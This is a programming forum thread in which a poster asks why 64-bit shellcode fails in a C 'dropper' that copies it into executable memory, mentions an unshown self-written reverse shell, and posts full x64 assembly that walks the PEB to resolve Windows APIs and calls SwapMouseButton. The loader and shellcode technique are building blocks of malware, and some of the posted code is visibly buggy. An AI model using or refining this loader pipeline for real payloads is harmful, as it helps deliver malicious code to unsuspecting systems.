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I am able to take a reverse shell program in assembly, compile it using ld or link (visual studio), use objdump, get the shellcode, (yes it has no null-bytes), and I am able to use this in a dropper, a simple call to it works fine such as

#include <stdio.h
#include <windows.h> 

int main() {    
  char *shellcode = "myshellcodegoesinhere";  
  printf("shellcode length: %i", strlen(shellcode));
  void * lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(lpAlloc, shellcode, strlen(shellcode));
  return 0;

Save the above as test.c which is executed as
gcc test.c -o test.exe

However, when it comes to 64-bits, I am able to execute my programs as an exe successfully but not in a dropper like above. I literally wrote a 64-bit reverse shell in windows and it works perfectly (havent found another one online that actually works) but when I convert it to shellcode, it doesn't work in my above dropper. And yes I removed all the null bytes from it, it was quite a challenge. So then I decided to see if another simple program would behave the same way and sure enough it does. I took a simple swap mouse button program and rewrote it to remove the null bytes out of it, runs perfectly from an exe but not in a dropper. I know that my 32-bit reverse shell works in a 64-bit system. That is not the point here. The point is any 64-bit application is not able to be used as shellcode on a 64-bit machine. Here is the swap mouse button program in assembly (not C++ although i had to use that tag to get it to post).

global _start

sub   RSP, 0x28                 ; 40 bytes of shadow space
and   RSP, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header

; start a loop to inc edx 0x88 times to reach the export directory

xor rcx, rcx
xor rax, rax
mov al, 0x88  ; 136 bytes is needed to add to edx to reach the export directory
    inc byte edx
    dec al
    cmp al, cl
    jne inc_edx

mov r8d, [edx]             ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress


inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address
sub rsp, 0x20                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
mov rsi, rax                 ; LoadLibrary saved in RSI

xor rcx, rcx
push dword 0x41416c6c               ; ll
;push dword rcx                      ; Push on the stack
sub word [rsp + 0x2], 0x4141
mov rcx, 0x642e323372657375   ; user32.d
push rcx                      ; Push on stack
mov rcx, rsp                  ; user32.dll
sub rsp, 0x20                 ; Allocate stack space for function call
call rsi                      ; Call LoadLibraryA
mov r15, rax                  ; Base address of user32.dll in R15

; Call GetProcAddress(user32.dll, "SwapMouseButton")

mov rcx, 0x416e6f7474754265     ; eButton
push rcx                      ; Push on the stack
sub byte [rsp + 0x7], 0x41
mov rcx, 0x73756f4d70617753   ; SwapMous
push rcx                      ; Push on stack
mov rdx, rsp                  ; SwapMouseButton
mov rcx, r15                  ; User32.dll base address
sub rsp, 0x20                 ; Allocate stack space for function call
call rdi                      ; Call GetProcAddress
mov r15, rax                  ; SwapMouseButton in R15

; Call SwapMouseButton(true)

xor rcx, rcx    ; true
inc cl
call r15      ; SwapMouseButton(true)

; Call GetProcAddress(kernel32.dll, "ExitProcess")

xor rcx, rcx                 ; RCX = 0
push dword 0x41737365            ; ess
sub byte [rsp + 0x3], 0x41
push rcx                     ; Push on the stack
mov rcx, 0x636f725074697845  ; ExitProc
push rcx                     ; Push on stack
mov rdx, rsp                 ; ExitProcess
mov rcx, rbx                 ; Kernel32.dll base address
sub rsp, 0x20                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress

; Call ExitProcess(0)

xor rcx, rcx  ; Exit code 0
call rax      ; ExitProcess(0)

Save this as sw64.s

link.exe (visual studio x64 native tools command prompt)

I have two linkers I use that work just fine. both link and Golink.exe

nasm -f win64 sw64.s && link sw64.obj /SUBSYSTEM:CONSOLE /OUT:sw64.exe /LARGEADDRESSAWARE:NO /ENTRY:_start && sw64.exe

or using Golink.exe

nasm -f win64 sw64.s && c:\Golink\GoLink.exe /console /entry _start sw64.obj /fo sw64.exe && sw64.exe

I then convert the shellcode using objdump and filter with awk and sed to produce \x??\x?? output and use this in my dropper. I've done it for my 32-bit reverse shell and it works like a charm but not for 64-bit. I would like to understand why this isn't working. Thank you.

What I have tried:

converting 64-bit to shellcode does not work, but 32-bit does. the dropper executes but does not produce any output
Richard MacCutchan 27-Mar-22 4:59am    
The dropper must also be 64-bit.
Member 15439227 27-Mar-22 12:04pm    
it is. it is being compiled with cl.exe. the code produced from nasm -f bin is basically not working and it should. it works for other programs that i have not written though such as calc 64 bit and notepad 64 bit. it seems that the programs i write in 64-bit are not able to be used. is there something else i am not aware of? the 32-bit works fine.
Richard MacCutchan 27-Mar-22 12:52pm    
Sorry I am not sure what you are saying. Both programs must be 32-bit, or 64-bit, you cannot mix one type with the other. Other than that I am afraid it is difficult to see what the problem could be.
Member 15439227 27-Mar-22 13:02pm    
ok what i mean is this. when i compile with nasm -f win64, i use link or golink.exe to link it together. this exe that is produced works fine. however, if i convert it to shellcode using nasm -f bin sw64.s -o and then use this shellcode in a dropper, meaning i am basically allocating a region of memory and copying this string into that buffer and calling virtualprotect and waitforsingleobject, etc i am not able to get a 64-bit program to execute that way. i can for 32-bit. i am aware of x86 and x64 cl.exe
Richard MacCutchan 28-Mar-22 3:18am    
Sorry, I have no experience of nasm.

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